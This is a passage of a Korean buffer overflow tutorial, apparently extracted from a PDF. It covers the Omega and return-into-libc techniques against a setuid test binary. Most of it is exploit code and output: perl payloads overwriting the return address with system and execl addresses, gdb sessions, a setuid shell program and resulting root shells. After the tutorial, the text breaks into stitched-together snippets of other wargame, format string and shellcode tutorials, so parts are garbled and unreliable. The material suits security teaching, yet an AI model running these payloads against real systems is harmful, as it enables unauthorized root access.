xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 0xbfffe5c aaaaaaaaaaaaaaaa 0xbfffe5d e0 f aaaaaaaaaaaa...b 0xbfffe5e0 e0 f e0 f e0 f e0 f B...B...B...B 0xbfffe5f d 42 c0 f y.b...b

25 0xbfffe600 c e6 ff bf $...$... 0xbfffe c c e6 ff bf xbfffe a9 fb ff bf af fb ff bf xbfffe630 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... sh: line 1:? 륶됧 SP? command not found 세그멘테이션오류 쉘이실행되었다. 이제심볼릭링크를걸고쉘을띄워보자../vul "`perl -e 'print "a"x28," xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 2>out 0xbfffdcc aaaaaaaaaaaaaaaa 0xbfffdcd e0 f aaaaaaaaaaaa...b 0xbfffdce0 e0 f e0 f e0 f e0 f B...B...B...B 0xbfffdcf d 42 c0 f y.b...b xbfffdd00 c dd ff bf $...$... 0xbfffdd c c dd ff bf xbfffdd a9 fb ff bf af fb ff bf xbfffdd30 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... 세그멘테이션오류 ls -l out -rw-rw-r-- 1 hardsoju hardsoju 41 1월 26 14:40 out./link out filename =? 륶됧SP?./vul "`perl -e 'print "a"x28," xe0 xf0 x04 x42"x5," x20 x79 x0d x42 xc0 xf2 x03 x42"'`" 0xbfffe4c aaaaaaaaaaaaaaaa 0xbfffe4d e0 f aaaaaaaaaaaa...b 0xbfffe4e0 e0 f e0 f e0 f e0 f B...B...B...B 0xbfffe4f d 42 c0 f y.b...b xbfffe500 c e5 ff bf $...$... 0xbfffe c c e5 ff bf T...`..@... 0xbfffe a9 fb ff bf af fb ff bf

26 0xbfffe530 e8 fb ff bf 07 fc ff bf 12 fc ff bf 22 fc ff bf..."... bof]# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) bof]# exit exit 세그멘테이션오류 root 쉘을획득하였다. 여기에서는이해를돕기위해 dumpcode를이용하였지만, 실제실행파일만있을시에는 dumpcode를이용할수없다. 그러나메모리구조에대한이해만있다면 gdb를이용해서도가능할것이다. 또한, 의정확한위치를모르더라도 printf의호출횟수를높여가며프로그램의실행을계속이어간다면 에도달하여 root 쉘을획득할수있을것이다. [5. RTL(return into libc) 의이해 ] 오메가를이해했다면 ret를실행시의공유라이브러리함수로향하게하는것이더이상이상하게생각되지않을것이다. 여기에서도마찬가지로 ret를프로그램실행시의공유라이브러리함수로조작하여프로그램의실행을이어가면서쉘을획득하는방법을이용할것이다. 앞에서는 shell 을획득하기위해임의의함수를계속 call 해서 uid를 0으로맞추고 system 함수를호출하는방식을사용하였다. 이번에는 system 함수를이용하여일반쉘을획득하는방법과, execl 함수를호출하여 root shell을획득하는것을설명하겠다. [5.1 RTL을이용한 shell 획득 ] system 함수를호출하여일반쉘을획득해보도록하겠다. 심볼릭링크를사용하지않고, 직접 system 함수의인자로 /bin/sh 문자열이위치한주소를넣어줄것이다. gdb -q vul1 (gdb) break main Breakpoint 1 at 0x (gdb) r Starting program: /home/hardsoju/bof/bof/vul1 26

27 main 함수에브레이크포인트를잡고, 프로그램을실행시켜 system 함수의주소를알아낸다. Breakpoint 1, 0x in main () (gdb) x/x system 0x4203f2c0 <system>: 0x83e58955 (gdb) q The program is running. Exit anyway? (y or n) y 이제 /bin/sh 문자열이있는주소를알아내야한다. 먼저환경변수에 /bin/sh 문자열을등록하고, 주소를알아내는방법을사용하도록하겠다. export SH="/bin/sh"./get SH address 0xbffffec4 system 함수는 ebp+8 의위치를인자로참조하기때문에 ebp+8의위치에 /bin/sh 문자열이있는주소를집어넣어공격해야한다. 28바이트를입력하여 sfp까지덮어쓰고 ret에는 system 함수의주소를, 그리고더미값으로 4바이트를입력후 /bin/sh 문자열의주소를넣어준다 즉, [buf][sfp][ret][dummy][/bin/sh addr] 가된다../vul `perl -e 'print "a"x28," xc0 xf2 x03 x42","aaaa"," xc4 xfe xff xbf"'` sh-2.05b$ id uid=500(hardsoju) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b$ ps PID TTY TIME CMD pts/1 00:00:00 bash pts/1 00:00:00 sh pts/1 00:00:00 ps sh-2.05b$ exit exit 세그멘테이션오류 27

28 정상적으로 system 함수가호출되고쉘을획득하였다. [5.2 RTL을이용한 root shell 획득 ] 이번에는 execl 함수를호출하고, 스택에는 execl 함수의인자조건을충족하도록배치하 여정상적인호출이일어나도록한후심볼릭링크를이용하여쉘을획득할것이다. execl 함수는인자가몇개가오든지상관이없고, 마지막은 NULL로끝나야한다는조건 이있다. 이조건만만족시켜준다면 execl 함수는정상적으로호출되어실행이가능하다. 함수의인자로는랜덤스택에서도변하지않는영역을이용해야한다. 여기서는 DATA SEGMENT를이용할것이며해당영역의특정값을심볼릭링크를걸고, execl 함수의인자로특정값이위치한주소를넣어준후심볼릭링크가실행되게하는 방법이다. gdb -q vul1 (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x18,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x e <main+14>: sub %eax,%esp 0x080483a0 <main+16>: cmpl $0x1,0x8(%ebp) 0x080483a4 <main+20>: jg 0x80483c5 <main+53> 0x080483a6 <main+22>: sub $0x8,%esp 0x080483a9 <main+25>: mov 0xc(%ebp),%eax 0x080483ac <main+28>: pushl (%eax) 0x080483ae <main+30>: push $0x804848c 0x080483b3 <main+35>: call 0x80482b0 <printf> 0x080483b8 <main+40>: add $0x10,%esp 0x080483bb <main+43>: sub $0xc,%esp 0x080483be <main+46>: push $0xffffffff 0x080483c0 <main+48>: call 0x80482c0 <exit> 0x080483c5 <main+53>: sub $0x8,%esp 0x080483c8 <main+56>: mov 0xc(%ebp),%eax 0x080483cb <main+59>: add $0x4,%eax 28

29 0x080483ce <main+62>: pushl (%eax) 0x080483d0 <main+64>: lea 0xffffffe8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add $0x10,%esp 0x080483dc <main+76>: leave 0x080483dd <main+77>: ret 0x080483de <main+78>: nop 0x080483df <main+79>: nop End of assembler dump. (gdb) break *main+73 Breakpoint 1 at 0x80483d9 strcpy 호출이후지점을브레이크포인트로잡고공격과정과똑같이 sfp와 ret를덮어씌 운상태로프로그램을실행한다. (gdb) r `perl -e 'print "a"x24,"bbbb","cccc"'` Starting program: /home/hardsoju/bof/bof/vul1 `perl -e 'print "a"x24,"bbbb","cccc"'` Breakpoint 1, 0x080483d9 in main () (gdb) x/64wx $esp 0xbfffdfd0: 0xbfffdfe0 0xbffffbd3 0xbfffdfe8 0x d 0xbfffdfe0: 0x x x x xbfffdff0: 0x x x x xbfffe000: 0x xbfffe044 0xbfffe050 0x c 0xbfffe010: 0x x080482e0 0x x xbfffe020: 0x x xbfffe044 0x080483e0 0xbfffe030: 0x x4000c660 0xbfffe03c 0x xbfffe040: 0x xbffffbb7 0xbffffbd3 0x xbfffe050: 0xbffffbf4 0xbffffc13 0xbffffc23 0xbffffc2e 0xbfffe060: 0xbffffc3c 0xbffffc4c 0xbffffc6c 0xbffffc7f 0xbfffe070: 0xbffffc8d 0xbffffe50 0xbffffe94 0xbffffeb2 0xbfffe080: 0xbffffebe 0xbffffed9 0xbffffeee 0xbffffeff 0xbfffe090: 0xbfffff32 0xbfffff46 0xbfffff4e 0xbfffff5f 0xbfffe0a0: 0xbfffff92 0xbfffffb4 0xbfffffcb 0x xbfffe0b0: 0x xffffe000 0x x0febfbff 0xbfffe0c0: 0x x x x

30 (gdb) DATA SEGMENT 영역을찾는것은다음과같다. (gdb) x/32wx 0x x : 0x464c457f 0x x x x : 0x x x080482e0 0x x : 0x00001db4 0x x x x : 0x001f0022 0x x x x : 0x x000000c0 0x000000c0 0x x : 0x x x000000f4 0x080480f4 0x : 0x080480f4 0x x x x : 0x x x x (gdb) 0x : 0x x000004a4 0x000004a4 0x x : 0x x x000004a4 0x080494a4 0x80490a0: 0x080494a4 0x x c 0x x80490b0: 0x x x000004b0 0x080494b0 0x80490c0: 0x080494b0 0x000000c8 0x000000c8 0x x80490d0: 0x x x x x80490e0: 0x x x x x80490f0: 0x x62696c2f 0x2d646c2f 0x756e696c (gdb) 이제 execl 함수의주소를알아내야한다. 이번에는 print 명령을이용해보겠다. ( 앞에서와같은방식을이용해도된다.) (gdb) print execl $1 = {<text variable, no debug info> 0x420acaa0 <execl> (gdb) q The program is running. Exit anyway? (y or n) y 다음은 uid를 0으로설정한후, 쉘을실행하는소스이다. cat shell.c int main() { setuid(0); system("/bin/sh"); 30

31 gcc -o shell shell.c 위소스를컴파일하고, gdb에서찾아낸 DATA SEGMENT 영역의특정값을심볼릭링크를건다. 결과적으로위프로그램이실행되어쉘을획득하게된다. ln -s shell `perl -e 'print " x01"'` x01은 0x 번지에있는값이다. ls -l 합계 256 lrwxrwxrwx 1 hardsoju hardsoju 5 1월 27 03:09? -> shell -rwxrwxr-x 1 hardsoju hardsoju 월 27 03:09 shell -rw-rw-r-- 1 hardsoju hardsoju 47 1월 27 03:06 shell.c -rwsr-xr-x 1 root root 월 26 22:05 vul -rw-rw-r-- 1 hardsoju hardsoju 179 1월 26 22:05 vul.c -rwxrwxr-x 1 hardsoju hardsoju 월 26 03:28 vul1./vul "`perl -e 'print "a"x28," xa0 xca x0a x42"," x14 x90 x04 x08"x6'`" sh-2.05b# id uid=0(root) gid=500(hardsoju) groups=500(hardsoju) sh-2.05b# exit exit 위공격에서 execl 함수의인자로특정값이위치한주소를 6번반복한이유는, 함수가호출된후 7번째위치 (28바이트이후 ) 에 NULL이존재하므로 execl 함수의인자조건을충족하기위함이다. 결과적으로심볼릭링크가실행되어루트쉘을획득하였다. 아래표는 beist.org 에서발췌한프로세스메모리매핑구성표이다. gdb에서 0x 을기점으로랜덤하지않은영역을뒤진이유를알것이다. 31

32 - 프로세스메모리매핑구성표 - STACK LIBRARY Program Text Segment Program Data Segment REDHAT LINUX 9.0 최상위 byte 가 0xbf 이며정확한위치는환경에따라가변적임 /lib/ld so 0x x40016fff /lib/tls/libc so 0x x42132fff 0x x8048fff 0x x8049fff FEDORA CORE2 최상위 byte 가 0xfe 이며정확한위치는환경에따라가변적임 /lib/ld so 0x x0042bfff /lib/tls/libc so 0x x0054afff 혹은 libc so 의위치가다음으로바뀔수도있다. /lib/tls/libc so 0x x00229fff 0x x8048fff 0x x8049fff 출처 : beist.org [6. 마치며 ] 지금까지 buffer overflow 취약점을공격하는여러가지기법에대해서알아보았다. 단지, 고전적인기법부터조금더발전된공격을다뤘다는이유만으로 History Of Buffer Over Flow라는제목을붙여봤다. 그렇기때문에이문서가 buffer overflow 의전체적인역사를말해주는것은아니며, 이외에도수많은공격기법이존재한다. 대부분의프로그래밍입문서에서는데이터의경계를체크해야한다는것을알리지않고있기때문에, buffer overflow 는우리가프로그래밍을공부하는순간부터이미노출되어있는취약점이라는것을인식해야한다. 지금부터라도프로그램개발에만목적을두지말고, 한번더보안을고려한코드를생각해야할것이다. 32

33 [7. 참고자료 ] beist_overflow beist FEDORA CORE2에서 EXEC-SHIELD 를우회하여 STACK 기반 OVERFLOW 공격기법한번에성공하기 - beist Advanced Buffer Overflow vangelis 해커지망자들이알아야할 Buffer Overflow Attack의기초 dalgona Lamagra의 Omega Project의이해및분석 ttongfly Lamagra의 Omega Project의이해 1,2 hackerleon getuid 시스템에서 omega의적용 - hackerleon 33

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그 The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin (soh357@gmail.com) -Contents- 0x00 프롤로그 -------------------------------------------------------------------------- 2 0x01 gate -----------------------------------------------------------------------------

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Overflow & Format String :-) Author : 유동훈 (Xpl017Elz)

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Smashing The Stack For Fun And Profit by Aleph One

